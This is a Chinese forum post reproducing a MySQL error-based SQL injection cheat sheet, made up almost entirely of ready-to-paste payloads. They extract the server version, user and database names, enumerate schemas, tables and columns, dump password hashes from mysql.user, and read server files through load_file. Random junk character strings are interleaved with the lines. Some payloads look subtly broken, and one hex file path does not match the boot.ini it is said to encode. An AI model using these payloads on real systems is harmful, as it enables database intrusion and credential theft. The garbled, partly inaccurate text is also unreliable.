Mysql暴错注入参考（pdf）

admin

本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
6 L7 x. m! {% z1 J

Mysql暴错注入参考（pdf），每天一贴。。。

4 S! e! H1 M" S$ YMySql Error Based Injection Reference
[Mysql暴错注入参考]
Authornig0s1992
9 X# u; T! Z2 Q* q% {& ?6 dBlog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
( T6 Q' {; q& y6 J' O% w小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
# @' t6 x0 K) [Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)
8 ~* f: M8 k& u  i' D, ^Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)
# @( S$ D, C7 g! Z7 h. i! `4 U! k8 \* F查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
' p1 [0 O4 ?$ d% _) Y; y6 k- h% @1 NMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
: I3 [4 ~$ A; G6 i  Q# _- p, ]! M8 UMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
5 j8 g+ y9 `9 [! `" cMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
& K& R& w! X4 d' U1 e! n: `2 gLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
) `/ m' s8 b+ w1 m顺序替换
( ^: m6 G' J8 R爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
! r7 y4 T) N- h, k2 S6 }and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
6 Y8 q/ X% J4 z& g( O5 D$ fable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
bles+group+by+x)a)+and+1=1
# y& ^- b; O! [1 z0x6D7973716C=Mysql 将n顺序替换
爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
( G7 V7 i& I, \% v1 r+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
' [5 l3 S  N- l5 D/ T1 e0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
依次爆字段:
" D$ V# [- B) {9 H+ R# L' [and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 _7 S5 @- `4 E  z; j3 w3 a! A% K$ d+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
3 Q# C2 z; @) e$ t- ?loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
依次暴内容:
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
9 d* J& Y7 V; K9 Cma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
2 C4 ], \2 U, y! h/ b3 o$ N1 p将n顺序替换
爆文件内容:
% c3 x9 E7 R( a+ u3 ]and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
from+information_schema.tables+group+by+a)b)
' j- P$ P  z0 S4 b& d0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
4 b0 }9 I2 H6 N. _Thx for reading.

; ^+ L# V4 n" r: k1 H不要下载也可以，